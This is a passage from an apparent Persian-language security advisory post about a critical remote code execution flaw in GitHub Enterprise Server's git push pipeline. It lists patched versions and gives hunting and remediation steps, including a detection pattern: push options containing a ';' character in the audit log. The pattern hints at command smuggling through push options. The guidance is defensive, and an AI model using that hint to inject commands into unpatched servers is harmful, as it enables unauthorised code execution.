3.18.7 / 3.18.8 یا بالاتر 3.19.4 یا بالاتر 3.20.0 یا بالاتر برای بررسی احتمال سوءاستفاده: لاگ /var/log/github-audit.log رو بررسی کنید و دنبال push operationهایی باشید که داخل push options کاراکتر ; دارن. طبق توضیح GitHub، exploit باعث فعال شدن یک code path غیرعادی می‌شه که در عملیات عادی استفاده نمی‌شه، بنابراین برای hunting قابل اتکاست. جمع‌بندی: اگر GitHub Enterprise Server دارید، این مورد باید فوری patch بشه. دسترسی push کاربران رو بازبینی کنید، لاگ‌های audit رو بررسی کنید، اکانت‌های غیرضروری یا مشکوک رو disable کنید، و بعد از upgrade مطمئن بشید هیچ push option مشکوکی در بازه قبل از patch ثبت نشده. https://github.blog/security/securing-the-git-push-pipeline-responding-to-a-critical-remote-code-execution-vulnerability/ @securation